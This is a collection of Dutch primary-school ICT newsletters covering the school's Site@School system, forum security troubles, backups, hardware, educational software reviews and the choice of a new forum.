Nu heeft Peter een effectief script dat deze onverlaten onmiddellijk blokkeert
en hem met een lijstje op de hoogte brengt waar de boeven van afkomstig zijn.
Het Site@School support forum was deze week weer brandpunt van aanvallen omdat
er een beveiligingslek in was gerapporteerd. Peter dichtte het. Kostte een
halve dag, dus reken maar uit....
We worden dit forum zat en willen ervan af. Het is te populair en het beviel
toch al niet. We zijn op zoek naar een ander forum.
Ter bestrijding van de kosten worden donaties op prijs gesteld. Wellicht moeten
we uitwijken naar een andere provider.
Dirk heeft 92 forums onderzocht en werkt aan een shortlist waaruit we een keuze
kunnen maken. Suggesties zijn welkom.
Ook Fred is druk in de weer met beveiliging. S@S krijgt nu encrypted passwords wat de beveiliging enorm verbeterd. Het is een best ingewikkelde klus omdat er in S@S een feature zit waarbij je je password toegestuurd kan krijgen als je het vergeten bent.
Een harddisk van een van onze tweedehands computters ging stuk. Nieuwe oude
harddisk erin, image terugzetten en daar ging ie weer.
Wij beginnen door te krijgen wat een aardig beleid zou zijn voor aanschaf van
tweedehands computers: je koopt 10 % extra en die gebruik je voor de keer dat
er wat stuk gaat. Je repareert niet eens een computer, je gooit 'm weg en neemt
een andere van de stapel.
We hebben prima 15 inch monitoren over van onze gemeentelijke dienst. Ze zijn identiek (en erg scherp van beeldkwaliteit – goed merk – 4 letters). Wij doen ze weg omdat we een partijtje 17 inch kregen. Snel reageren a.u.b.
Groet en goed weekend,
Karin, Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week ontvingen we een GRATIS pakketje van Malmberg. Citaat uit de begeleidende brief:
”Sinds een jaar of meer werkt u met het programma Letterpret. Wij hopen natuurlijk dat dit naar volle tevredenheid verloopt. Sommige scholen hebben ons laten weten dat er technische problemen zijn met het computerprogramma. Om die reden hebben we het programma technisch compleet vernieuwd. Het programma voldoet aan de nieuwste technische eisen die computers vandaag de dag aan een programma stellen.
Naast de verbeterde techniek is het leerkrachtendeel opgezet volgens de Malmbergstandaard waardoor de leerlinggegevens uitwisselbaar zijn en u deze niet steeds opnieuw hoeft in de voeren.
Als gebruiker van Letterpret sturen we u deze nieuwe versie gratis toe zodat u met meer plezier en zonder technische problemen op de computer kunt oefenen in de voorbereiding op aanvankelijk lezen”
Ze geven nu openlijk toe, dat het geheel niet deugde!!! We zullen er een blik op laten werpen.
Achter onze website www.rosaboekdrukker.net gaat nog een andere website schuil. Door op aanmelden te klikken en gebruikersnaam en wachtwoord in te voeren kom je op een afgeschermd gedeelte -het intranet- van de website. Je hebt dezelfde gegevens nodig als die van je webmail. In dat intranet, zullen de jaarplanning, het adv rooster en andere belangrijke mededelingen te vinden zijn. De lay-out is nog in een experimenteel stadium. Suggesties zijn altijd welkom.
Op de tweede verdieping bij ons op school zijn steeds problemen met printen. We hebben pas een netwerkprinter vervangen, en nu begint de volgende. Zou het kunnen zijn, dat het verkeer verstopt raakt in het netwerk, omdat er teveel printopdrachten worden gegeven? Het duurt namelijk even voordat een werkstuk is geladen in het geheugen van de printer. Ook moet de printer opwarmen. En... mensen zijn ongeduldig, waardoor er snel een volgend printcommando wordt gegeven. Zou dat het zijn? Het moet wel liggen aan de manier waarop ermee wordt omgegaan. Dezelfde printer op de 1e verdieping heeft dergelijk storingen nooit.
Vorige week vrijdag hielden we een ballonnenwedstrijd voor onze vertrekkende
directeur, Agnes. Al op maandag werden gevonden kaartjes teruggestuurd. In de
hal van onze school staat nu een landkaart met daarop de vindplaatsen van de
kaartjes geprikt. Ze zijn in de achterhoek en in Duitsland gevonden. Met behulp
van topografie-online konden we kleine dorpjes localiseren. http://www.bosatlas.nl/grote_bosatlas/online/goed.html Er staat wel vermeld, dat: Het gebruik
van "Topografie Online" zal per 1 maart 2005 worden beëindigd. Maar
de link doet het nog wel. Alleen als je Firefox als browser gebruikt moet er
weer een plugin worden geïnstalleerd. Met Internet Explorer gaat het wel in één
keer goed. Echt een superhandig snufje!!
zie ook www.rosaboekdrukker.net
(klik op de foto)
In SAS heeft iedere leerling zijn eigen map voor werkstukken, opdrachten, etc.
Soms zijn mappen van kinderen verdwenen. Soms vinden we ze terug, soms niet.
We wisten wel een manier om de verloren mappen weer terug te halen (feature van
SAS) maar het raadsel bleef. Hoe verdwijnen ze? Waar blijven ze?
'Gelukkig' hadden de Sterrewachters er ook last van. Zij vonden de oorzaak:
Kinderen kunnen nog niet goed met de muis overweg en slepen soms hun map over
een andere map heen. Als ze dan de muisknop loslaten, wordt de map verplaatst
in de andere map. Zo komt Samira's map in die van Johan. Een heel gezoek om het
weer goed te krijgen.
Eén en ander leidde tot een vraag aan Peter om uitbreiding op het bestaande
feature: 'De automatische map herstel knop'. Nu moet de map nog met de hand
worden teruggezet.
Onze systeembeheerder komt merkwaardige zaken tegen. Op computer 119 probeerde
iemand een kinderchat te installeren en kort daarna probeerde iemand een MUD
spel te spelen.
Ontbreekt het in die klas aan Internet toezicht?
Peter en Dirk bezochten de Vondelschool. Ze hebben daar het systeem van de
concurrentie: QLICT. Het werkt prima, ook met XP, maar vermoedelijk door closed
source toepassingen.
Als je bij de concurrent kijkt, kun je je natuurlijk niet aan een oordeel
onttrekken:
Prima systeem voor een school die weinig wensen heeft.
Op de Vondelschool waren we zeer getroffen door het gebruik van de platte LCD
schermen, met een voorzetvenster. Ze hadden het met tweezijdig klevend plakband
vast aan het beeldscherm gezet. En het werkte! In de klassen kon je de
ballpointpunten op het plexiglas zien.
Ze waren wel weer veel geld kwijt aan de beveiliging met staalkabels.
Bedankt voor de prima avond Roelof!
Encryptie
Fred is bezig met het veiliger maken van S@S. De wachtwoorden worden nu
versleuteld opgeslagen.
Agenda
Er bleek nog een wensje voor de agenda in S@S: een knopje om snel terug te
kunnen naar het intrAnet. Zit er in.
Kijk op http://wyxs.net/mansas/man2.4/mod_agen.html
als in het manual wilt kijken hoe 't zit. Zeer vernuftig. Dank Fred voor de
snelle oplossing!
We zijn allemaal druk met het kiezen van een nieuw forum. Er bleven van de 92
onderzochte fora 19 over. Na nader onderzoek bleven er 7 over. Na
proefinstallaties bleven er 3 over. Daar werd door de testers over gestemd en
het 'Simple Macnines Forum' kreeg de meeste stemmen tot nu toe. Peter en Fred
bekijken de code en als die ook goed is, mag ie 't worden.
We experimenteren nu met migratie van phpBB2 naar SMF: de eerste resultaten
zijn veelbelovend.
http://simplemachines.org
Tot zover,
Groet en goed weekend.
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT (info@rosaboekdrukker.nl)
Deze week hebben we de afspraken over de begeleiding voor het komende schooljaar rondgemaakt. Nu rest nog om de data in het jaarrooster vast te leggen en dat is een klus. Er is heel veel geld mee gemoeid. De kosten bedragen wel 3x zoveel als voor het upgraden van ons computerpark. (maar dat doen we natuurlijk niet met nieuwe computers).
Deze week zijn we druk geweest met verbeteringen en uitzoeken van mogelijkheden
van onze website. Wie op het gele rechthoekje klikt in het logo van onze school
krijgt het beeld te zien dat op de teevee in de hal vertoond wordt. Dit voor de
mensen die vanuit thuis het mededelingenscherm bijwerken, en natuurlijk voor
alle geïnteresseerden!
Ook zijn we bezig om onze weekagenda (DEZE WEEK genaamd) die we elke maandag in
ons postbakje op school vinden en waar per weekend 3 emails aan gewijd worden,
onder te brengen in de nieuwsbrievenmodule van het INTRANET. Hierover volgend
jaar meer
We merken dat het einde van het schooljaar nadert. De bakcup schijf van
de server begint langzaamaan vol te lopen. Tijdens het vakantie onderhoud van
de server pakken we dat klusje ook aan. Dan gaat de server een dagje uit
en spuiten we het stof uit ventilatoren en koellichamen om goede koeling te
waarborgen. Ja, dit is een tip!
Tegelijkertijd zetten we een gigabit netwerkkaart in de server waardoor we een
gigabit verbinding hebben tussen de server en de switches.
Uptime tot nu toe: 159 dagen.
Klachten van gebruikers: we kunnen niet girotellen en we kunnen niet bij de
hotmail. Zoeken, zoeken, zoeken, niets te vinden. We belden onze provider UPC:
Het probleem lag bij hen.
"Waarom zeg je dat niet op je site?", vroegen wij.
"Dat kunnen mensen niet lezen", zeiden zij.
Dat klopte niet, want het was een mailprobleem. Er klopte nog veel meer niet...
Lees verder en huiver, je gelooft je ogen niet:
http://www.berestijn.net/chello
Met dank aan Peter.
Dit alles speelde Donderdag. Vandaag belde meneer UPC. Rob (achternaam bij de
redactie bekend) en zei dat het probleem was opgelost. Het was een kapotte
kaart in een router.
Ik heb hem ook verwezen naar bovenstaande pagina. Hij kon hem helaas niet
ontvangen en zou kijken waarom niet ....
Klein foutje in de leerling login: leerlingen werden na 5 minuten inactiviteit
uit Site@School gelogd. Gelukkig nog tijdens de les door Fred hersteld.
Hier begint zich een regel af te tekenen: op een school gaat alles veel
langzamer. De toepassingen moeten niet stoppen na lange periodes van
inactiviteit. Dat speelde ook al bij de webmail in het Berenproject.
Dit is de op één na laatste bic van dit schooljaar.
Volgende week een vakantiebic....
Groet en goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT (info@rosaboekdrukker.nl)
De laatste BIC van dit schooljaar. (voor de cryptogrammers: lees onderaan!)
Deze week nog net op de valreep hebben we de scholingen voor volgend schooljaar in de jaarplanning gezet. Binnenkort zal die worden gepubliceerd op ons intranet.
Van Bekadidact ontvingen we een demo-cd met rekensoftware die bij onze
rekenmethode hoort. We werden gebeld door de uitgever om er commentaar op te
leveren.
Dat is deze week telefonisch gebeurd. We hebben o.a. gevraagd wat de uitgever
denkt te doen met eventuele aanmerkingen op/problemen met en fouten in het
programma, die door de gebruikers worden geconstateerd. Dat werd nagevraagd.
Het antwoord was: dan komt er iemand bij u langs om het aan te passen.
Daarna hebben we de uitgever uitgelegd, dat wij het programma er zeer
aantrekkelijk uit vinden zien, maar op dit moment niet kunnen beslissen of we
het programma of onderdelen ervan zullen aanschaffen, omdat we volgens onze
procedure moeten handelen. We hebben namelijk regels bij het aanschaffen van
software.
Hier nog even weer ons handige lijstje:
- Hebben we erbehoefte aan?
- Ontlast het de leerkracht
- Wat is de verhouding spelen/leren?
- Sluit het aan bij de in de klas behandelde leerstof?
- Is het oefenstof die hoort bij de klas?
- Is er een goede feedback naar de leerling?
- Hoe vriendelijk is het programma? Is er een registratieprogramma, waarmee we
kunnen zien hoe elk kind het gedaan heeft? En waarmee het de volgende keer
verder gaat?
- Past het programma zich aan aan het niveau van de leerling?
- Moet er veel uitgelegd worden door de leerkracht?
-.Wordt er getoetst? Wordt er geoefend?
En als we naar de bovenstaande criteria kijken, dan stuiten we al op
het eerste punt: hebben we er behoefte aan? Volgens de uitgever vervangt het
geen onderdelen van de papieren methode, dus het komt BIJ de gewone lesstof (en
die is al veel). En voor uitvallers hebben we al het programma “maatwerk”.
De uitgever zal voor de herfstvakantie nog eens bellen om te weten te komen of
we inmiddels al behoefte hebben aan het programma. En in die tussentijd kunnen
we ook horen van ervaringen op andere scholen met het programma, want
Bekadidact zal op de nieuwe website gebruikers aan het woord laten over hun
ervaringen.
We bestelden bij http://www.schoolbits.nl
een pakketje educatief materiaal. 3 boekjes:
- Tekstdocumenten
- Werkstukken
- Presentaties
te maken met Open Office (tekstverwerkingsprogramma dat erg op Word lijkt, maar
dan open source etc.). Eerste indruk: ziet er prima uit als materiaal voor
leerkrachten om OOo te leren gebruiken.
Raoul (St. ICT op school), Peter (SAS) en Dirk hadden een bijeenkomst om eens wat te brainstormen over hoe het verder moet met OSS en ICT in het Nederlandse onderwijs. Daar kwamen wat denksporen uit die in de loop van het jaar hopelijk verder zullen uitkristalliseren.
We hadden Tom Thobe op bezoek. Werkte bij het ABC en is nu met een collega zelfstandig ICT onderwijsbegeleider geworden. Zie de site http://www.edicta.nl voor het aanbod en de mogelijkheden.
Het Buddy systeem werkt! Eén van de features van SAS is dat scholen voor elkaar
backups verzorgen. Dat geeft gemak en spaart tijd en geld en is veilig.
Gemak omdat je geen gedoe hebt met tapes of floppies die je buiten school moet
bewaren. Tijd omdat je er geen omkijken naar hebt geld omdat je bij een collega
SAS school backupt die dat ook weer voor jou doet.
En het is ook veilig omdat de data versleuteld bij de collega staan, dus die
kan jouw gegevens niet bekijken.
We hebben de 3 Amsterdamse scholen als volgt gedaan:
De Rosa Boekdrukker zet z'n backupt bij de Joop Westerweel. Die backupt bij de
Corantijn en die backupt naar de Rosa.
Het is nog niet zo dat alle data gebackupt worden.
Het kostbaarst zijn de ESIS en CITO data.
We proberen in de vakantie alles te backuppen.
Fred is begonnen met de Link module. Daarmee kun je makkelijk een pagina met links maken. We kregen van verschillende kanten het verzoek via het Forum.
David is bezig met de vertaling van het S@S manual in het Duits.
De eerste stappen kun je zien op http://wyxs.net/DE.
Het ziet er prima en veelbelovend uit.
Voor de ICT'ers een zeer moeilijk vakantie cryptogram:
De ambachtsman die via Internet besteld wordt.
Voor de goede oplossers hebben we kleine prijzen.
Na de vakantie de oplossing
Redactieleden en hunne verwanten alsmede hun dienstmaagden en kleinvee zijn van
deelname uitgesloten.
Nou, dit was dan de laatste BIC van dit schooljaar. U zult nog even vol spanning moeten wachten op verdere nieuwtjes.
We wensen iedereen een zomer vol warm plezier.
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT (info@rosaboekdrukker.nl)